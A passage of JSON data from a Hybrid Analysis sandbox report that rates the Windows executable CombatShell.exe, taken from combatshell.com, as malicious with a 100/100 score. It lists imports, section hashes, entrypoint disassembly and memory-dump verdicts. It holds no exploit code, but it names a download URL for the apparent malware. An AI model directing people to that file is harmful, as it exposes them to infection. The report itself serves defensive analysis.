viceIoControl","DisconnectNamedPipe","DuplicateHandle","ExitProcess","FindClose","FindFirstFileExW","FindNextFileW","FlushFileBuffers","FormatMessageW","FreeEnvironmentStringsW","FreeLibrary","GetCommandLineW","GetConsoleMode","GetConsoleOutputCP","GetConsoleScreenBufferInfo","GetCurrentDirectoryW","GetCurrentProcess","GetCurrentProcessId","GetCurrentThread","GetCurrentThreadId","GetEnvironmentStringsW","GetEnvironmentVariableW","GetExitCodeProcess","GetFileAttributesW","GetFileInformationByHandle","GetFileInformationByHandleEx","GetFileType","GetFinalPathNameByHandleW","GetFullPathNameW","GetLastError","GetModuleFileNameW","GetModuleHandleA","GetModuleHandleExW","GetModuleHandleW","GetNamedPipeInfo","GetOverlappedResult","GetProcAddress","GetProcessHeap","GetProcessId","GetQueuedCompletionStatusEx","GetStdHandle","GetSystemDirectoryW","GetSystemInfo","GetSystemTimePreciseAsFileTime","GetTempPathW","GetWindowsDirectoryW","GlobalAlloc","GlobalFree","GlobalLock","GlobalSize","GlobalUnlock","HeapAlloc","HeapFree","HeapReAlloc","InitializeProcThreadAttributeList","InitOnceBeginInitialize","InitOnceComplete","LoadLibraryA","LoadLibraryExW","LoadLibraryW","LockFileEx","MapViewOfFile","Module32FirstW","Module32NextW","MoveFileExW","MultiByteToWideChar","PostQueuedCompletionStatus","QueryPerformanceCounter","QueryPerformanceFrequency","ReadConsoleW","ReadFile","ReadFileEx","RegisterWaitForSingleObject","RemoveDirectoryW","RtlCaptureContext","RtlLookupFunctionEntry","RtlVirtualUnwind","SetConsoleCtrlHandler","SetConsoleMode","SetConsoleTextAttribute","SetCurrentDirectoryW","SetEnvironmentVariableW","SetFileAttributesW","SetFileCompletionNotificationModes","SetFileInformationByHandle","SetFilePointerEx","SetFileTime","SetHandleInformation","SetLastError","SetThreadErrorMode","SetThreadStackGuarantee","SetUnhandledExceptionFilter","SetWaitableTimer","Sleep","SleepEx","SwitchToThread","TerminateProcess","TlsAlloc","TlsFree","TlsGetValue","TlsSetValue","UnlockFile","UnmapViewOfFile","UnregisterWaitEx","UpdateProcThreadAttribute","WaitForMultipleObjects","WaitForSingleObject","WideCharToMultiByte","WriteConsoleW","WriteFile","WriteFileEx"]},{"module":"msvcrt.dll","functions":["__getmainargs","__initenv","__iob_func","__set_app_type","__setusermatherr","_amsg_exit","_cexit","_commode","_errno","_exit","_fmode","_fpreset","_hypot","_initterm","_onexit","abort","calloc","exit","exp","fprintf","free","frexp","fwrite","ldexp","log10","malloc","memcmp","memcpy","memmove","memset","signal","strerror","strlen","strncmp","tan","vfprintf","wcslen"]},{"module":"ntdll.dll","functions":["NtCancelIoFileEx","NtCreateFile","NtDeviceIoControlFile","NtOpenFile","NtReadFile","NtWriteFile","RtlNtStatusToDosError"]},{"module":"ole32.dll","functions":["CoCreateGuid","CoCreateInstance","CoInitializeEx","CoUninitialize","OleInitialize","RegisterDragDrop","RevokeDragDrop"]},{"module":"oleaut32.dll","functions":["GetErrorInfo","SafeArrayCreateVector","SafeArrayPutElement","SetErrorInfo","SysAllocStringLen","SysFreeString","SysStringLen"]},{"module":"opengl32.dll","functions":["wglCreateContext","wglDeleteContext","wglGetCurrentContext","wglGetCurrentDC","wglGetProcAddress","wglMakeCurrent","wglShareLists"]},{"module":"shell32.dll","functions":["DragFinish","DragQueryFileW"]},{"module":"shlwapi.dll","functions":["AssocQueryStringW"]},{"module":"uiautomationcore.dll","functions":["UiaGetReservedNotSupportedValue","UiaHostProviderFromHwnd","UiaLookupId","UiaRaiseAutomationEvent","UiaRaiseAutomationPropertyChangedEvent","UiaReturnRawElementProvider"]},{"module":"user32.dll","functions":["AdjustWindowRectEx","CallWindowProcW","ChangeDisplaySettingsExW","ClientToScreen","ClipCursor","CloseClipboard","CloseTouchInputHandle","CountClipboardFormats","CreateIcon","CreateIconFromResourceEx","CreateWindowExW","DefWindowProcW","DestroyIcon","DestroyWindow","DispatchMessageW","EmptyClipboard","EnableMenuItem","EnumClipboardFormats","EnumDisplayMonitors","FlashWindowEx","GetActiveWindow","GetAsyncKeyState","GetClassInfoExW","GetClassNameW","GetClientRect","GetClipboardData","GetClipboardFormatNameW","GetClipCursor","GetCursorPos","GetDC","GetForegroundWindow","GetKeyboardLayout","GetKeyboardState","GetKeyState","GetMenu","GetMessageW","GetMonitorInfoW","GetPropW","GetRawInputData","GetRawInputDeviceInfoW","GetSystemMenu","GetSystemMetrics","GetTouchInputInfo","GetWindowLongPtrW","GetWindowLongW","GetWindowPlacement","GetWindowRect","GetWindowTextLengthW","GetWindowTextW","InvalidateRgn","IsClipboardFormatAvailable","IsIconic","IsProcessDPIAware","KillTimer","LoadCursorW","LoadImageW","MapVirtualKeyExW","MapVirtualKeyW","MessageBoxW","MonitorFromPoint","MonitorFromRect","MonitorFromWindow","OpenClipboard","PeekMessageW","PostMessageW","RedrawWindow","RegisterClassExW","RegisterClipboardFormatW","RegisterRawInputDevices","RegisterTouchWindow","RegisterWindowMessageA","ReleaseCapture","ReleaseDC","RemovePropW","ScreenToClient","SendInput","SendMessageW","SetCapture","SetClipboardData","SetCursor","SetCursorPos","SetForegroundWindow","SetMenuDefaultItem","SetPropW","SetTimer","SetWindowDisplayAffinity","SetWindowLongPtrW","SetWindowLongW","SetWindowPlacement","SetWindowPos","SetWindowTextW","ShowCursor","ShowWindow","SystemParametersInfoA","ToUnicode","ToUnicodeEx","TrackMouseEvent","TrackPopupMenu","TranslateMessage","ValidateRect"]},{"module":"userenv.dll","functions":["GetUserProfileDirectoryW"]},{"module":"uxtheme.dll","functions":["SetWindowTheme"]},{"module":"ws2_32.dll","functions":["accept","bind","closesocket","connect","freeaddrinfo","getaddrinfo","getpeername","getsockname","getsockopt","ioctlsocket","listen","recv","recvfrom","select","send","sendto","setsockopt","shutdown","socket","WSACleanup","WSADuplicateSocketW","WSAGetLastError","WSAIoctl","WSAPoll","WSARecv","WSARecvFrom","WSASend","WSASendMsg","WSASendTo","WSASocketW","WSAStartup"]}],"osint_tags":[],"osint_references":[],"memory_forensics":[],"language":"ENGLISH","authentihash":"9825499dc6003b895ab7f352700b315dd4064a37ea81876194bece1a5a26f41b","entrypoint_bytes":null,"pdb_timestamp":null,"pdb_pathway":null,"pdb_guid":null,"file_sections":[{"name":".text","entropy":5.628951152172885,"virtual_address":"0x1000","virtual_size":"0xb5cd10","raw_size":"0xb5ce00","md5":"7a183280bbe7fe8871fed0690fe46a53","characteristics":["IMAGE_SCN_CNT_CODE","IMAGE_SCN_MEM_EXECUTE","IMAGE_SCN_MEM_READ"]},{"name":".data","entropy":1.1545966604725837,"virtual_address":"0xb5e000","virtual_size":"0x17e0","raw_size":"0x1800","md5":"af2bacfb7676385953d9773faabd0903","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_READ","IMAGE_SCN_MEM_WRITE"]},{"name":".rdata","entropy":7.963639977060777,"virtual_address":"0xb60000","virtual_size":"0x2a067e8","raw_size":"0x2a06800","md5":"0518da2bd3af7198137f4bf97e499541","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_READ"]},{"name":".pdata","entropy":6.700660570800874,"virtual_address":"0x3567000","virtual_size":"0xce91c","raw_size":"0xcea00","md5":"95efb5907bd63f495ecfc963712ddf80","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_READ"]},{"name":".xdata","entropy":3.082641999301174,"virtual_address":"0x3636000","virtual_size":"0x91a00","raw_size":"0x91a00","md5":"7efb26e3157be5ead093ac51092d091e","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_READ"]},{"name":".bss","entropy":0,"virtual_address":"0x36c8000","virtual_size":"0x480","raw_size":"0x0","md5":"d41d8cd98f00b204e9800998ecf8427e","characteristics":["IMAGE_SCN_CNT_UNINITIALIZED_DATA","IMAGE_SCN_MEM_READ","IMAGE_SCN_MEM_WRITE"]},{"name":".idata","entropy":4.69813962765588,"virtual_address":"0x36c9000","virtual_size":"0x3bc4","raw_size":"0x3c00","md5":"7e54c5db441d0be7adbbb95df3528bcd","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_READ"]},{"name":".tls","entropy":0,"virtual_address":"0x36cd000","virtual_size":"0x10","raw_size":"0x200","md5":"bf619eac0cdf3f68d496ea9344137e8b","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_READ","IMAGE_SCN_MEM_WRITE"]},{"name":".rsrc","entropy":3.525245840213008,"virtual_address":"0x36ce000","virtual_size":"0x1a20","raw_size":"0x1c00","md5":"d9359965510f493169129797c7ba8d48","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_READ"]},{"name":".reloc","entropy":5.502375286995615,"virtual_address":"0x36d0000","virtual_size":"0xc2ec","raw_size":"0xc400","md5":"7faa2caf0461616e0132f3b54f57f3c2","characteristics":["IMAGE_SCN_CNT_INITIALIZED_DATA","IMAGE_SCN_MEM_DISCARDABLE","IMAGE_SCN_MEM_READ"]}],"file_exports":[],"error":null,"yara_hits":[],"intelligence_mitre_mappings":[],"entrypoint_preview_count":36,"entrypoint_preview_instructions":["sub rsp, 0x28","mov rax, qword ptr [rip + 0x3565255]","mov dword ptr [rax], 1","call 0x140001180","nop ","nop ","add rsp, 0x28","ret ","nop dword ptr [rax]","sub rsp, 0x28","mov rax, qword ptr [rip + 0x3565235]","mov dword ptr [rax], 0","call 0x140001180","nop ","nop ","add rsp, 0x28","ret ","nop dword ptr [rax]","sub rsp, 0x28","call 0x140b5c190","cmp rax, 1","sbb eax, eax","add rsp, 0x28","ret ","nop ","nop ","nop ","nop ","nop ","nop ","nop ","nop ","nop ","nop ","nop ","nop "],"file_resources":[{"name":"RT_ICON","rva":"0x36ce130","size":"0xfa0","type":"Device independent bitmap graphic, 32 x 60 x 32, image size 3840","language":"english"},{"name":"RT_GROUP_ICON","rva":"0x36cf0d0","size":"0x14","type":"data","language":"english"},{"name":"RT_VERSION","rva":"0x36cf0e8","size":"0x4e0","type":"data","language":"english"},{"name":"RT_MANIFEST","rva":"0x36cf5c8","size":"0x453","type":"XML 1.0 document, ASCII text, with CRLF line terminators","language":"english"}],"file_permissions":[],"file_activities":[],"file_receivers":[],"file_data_directories":[{"name":"IMAGE_DIRECTORY_ENTRY_EXPORT","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_IMPORT","virtual_address":"0x36c9000","virtual_size":"0x3bc4","is_in_section":".idata"},{"name":"IMAGE_DIRECTORY_ENTRY_RESOURCE","virtual_address":"0x36ce000","virtual_size":"0x1a20","is_in_section":".rsrc"},{"name":"IMAGE_DIRECTORY_ENTRY_EXCEPTION","virtual_address":"0x3567000","virtual_size":"0xce91c","is_in_section":".pdata"},{"name":"IMAGE_DIRECTORY_ENTRY_SECURITY","virtual_address":"0x36d7400","virtual_size":"0x1638","is_in_section":".reloc"},{"name":"IMAGE_DIRECTORY_ENTRY_BASERELOC","virtual_address":"0x36d0000","virtual_size":"0xc2ec","is_in_section":".reloc"},{"name":"IMAGE_DIRECTORY_ENTRY_DEBUG","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_COPYRIGHT","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_GLOBALPTR","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_TLS","virtual_address":"0x3566220","virtual_size":"0x28","is_in_section":".rdata"},{"name":"IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_IAT","virtual_address":"0x36c9e10","virtual_size":"0xc58","is_in_section":".idata"},{"name":"IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null},{"name":"IMAGE_DIRECTORY_ENTRY_RESERVED","virtual_address":"0x0","virtual_size":"0x0","is_in_section":null}],"elf_headers":[],"elf_static_symbols":null,"vba_macros":[],"verdict_source":null,"user_comments":[],"email_headers":null,"classification_tags":["suspicious","evasive","new_domain"],"tags":["suspicious","evasive","new_domain"],"submissions":[{"submission_id":"68614628c15ddf3ec90a7a54","filename":"CombatShell.exe","url":"https://combatshell.com/download/CombatShell.zip","created_at":"2025-06-29T13:56:56+00:00"}],"crowdstrike_ai":{"executable_process_memory_analysis":[{"filename":"00000000-00005644.00000001.288725.6BA60000.00000040.mdmp","address":"6BA60000","flags":"00000040","file_process":"CombatShell.exe","file_process_pid":5644,"file_process_sha256":"b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc","file_process_disc_pathway":"\\Device\\HarddiskVolume3\\CombatShell.exe","verdict":"suspicious"},{"filename":"00000000-00005644.00000001.288725.6CAE0000.00000040.mdmp","address":"6CAE0000","flags":"00000040","file_process":"CombatShell.exe","file_process_pid":5644,"file_process_sha256":"b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc","file_process_disc_pathway":"\\Device\\HarddiskVolume3\\CombatShell.exe","verdict":"malicious"}],"analysis_related_urls":[]},"warnings":["Some low-level data is hidden, as this is only a slim report","The analysis system failed to start the input sample. Error code: 2 (ERROR_FILE_NOT_FOUND)","Not all sources for indicator ID \"api-294\" are available in the report","Not all sources for indicator ID \"api-297\" are available in the report","Not all sources for indicator ID \"api-291\" are available in the report","Not all sources for indicator ID \"api-264\" are available in the report","Not all sources for indicator ID \"api-12\" are available in the report","Not all sources for indicator ID \"api-243\" are available in the report","Not all sources for indicator ID \"api-96\" are available in the report","Not all sources for indicator ID \"api-132\" are available in the report","Not all sources for indicator ID \"api-114\" are available in the report","Not all sources for indicator ID \"api-150\" are available in the report","Not all sources for indicator ID \"api-102\" are available in the report","Not all sources for indicator ID \"registry-177\" are available in the report","Not all sources for indicator ID \"registry-18\" are available in the report","Not all sources for indicator ID \"string-602\" are available in the report","Not all sources for indicator ID \"api-235\" are available in the report","Not all sources for indicator ID \"api-151\" are available in the report","Not all sources for indicator ID \"api-40\" are available in the report","Not all sources for indicator ID \"registry-172\" are available in the report","Not all sources for indicator ID \"api-263\" are available in the report","Not all sources for indicator ID \"registry-19\" are available in the report","Not all sources for indicator ID \"api-161\" are available in the report","Not all sources for indicator ID \"api-11\" are available in the report","Not all sources for indicator ID \"api-44\" are available in the report","Not all sources for indicator ID \"api-104\" are available in the report","Not all sources for indicator ID \"registry-173\" are available in the report","Not all sources for indicator ID \"registry-17\" are available in the report","Not all sources for indicator ID \"registry-215\" are available in the report"],"report_related_files":{"report_json":{"file_name":"report.json","download_url":"/bff/report/68614625c15ddf3ec90a7a53/download/files/report_json","file_size":1269704},"memory_strings":{"file_name":"mstrings.zip","download_url":"/bff/report/68614625c15ddf3ec90a7a53/download/files/memory_strings","file_size":10011},"certificate":{"file_name":"certificate.crt","download_url":"/bff/report/68614625c15ddf3ec90a7a53/download/files/certificate","file_size":5680},"network_pcap":{"file_name":"network.pcap","download_url":"/bff/report/68614625c15ddf3ec90a7a53/download/files/network_pcap","file_size":413268},"memory_dumps":{"file_name":"memory_dumps_all.zip","download_url":"/bff/report/68614625c15ddf3ec90a7a53/download/files/memory_dumps","file_size":3914324}},"system_resource_monitor":{"cpu_usage":[{"x":0,"y":13.8435}],"memory_usage":[{"x":0,"y":20.2273}],"disk_read":[{"x":0,"y":2459.48}],"disk_write":[{"x":0,"y":238416}],"network_packets":[{"x":0,"y":0}],"page_file":[{"x":0,"y":1087900000}]},"external_reports":null,"available_buttons":{"report_false_positive":true},"hashes_to_context_check":["b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc","0b7f2ca998ecf2a623e04f565354a09091e0a35c8442d7d9b6812b64b9121bc2"]}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious — Falcon Sandbox Report 68614625c15d… — Score 100/100 — Sample b1912bafc809… | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sandbox report 68614625c15d…. Threat score 100/100. 8 malicious and 6 suspicious behavioral indicators across 224 signatures. Detonated in Windows 11 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT&CK mappings."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc/68614625c15ddf3ec90a7a53"}],["$","meta","4",{"property":"og:title","content":"Malicious — Falcon Sandbox Report 68614625c15d… — Score 100/100 — Sample b1912bafc809… | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sandbox report 68614625c15d…. Threat score 100/100. 8 malicious and 6 suspicious behavioral indicators across 224 signatures. Detonated in Windows 11 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT&CK mappings."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b1912bafc809d300cc604f10062cbf5bab409ea03ffeedba13a914f40a242ebc/68614625c15ddf3ec90a7a53"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious — Falcon Sandbox Report 68614625c15d… — Score 100/100 — Sample b1912bafc809… | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sandbox report 68614625c15d…. Threat score 100/100. 8 malicious and 6 suspicious behavioral indicators across 224 signatures. Detonated in Windows 11 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT&CK mappings."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L58","11",{}]]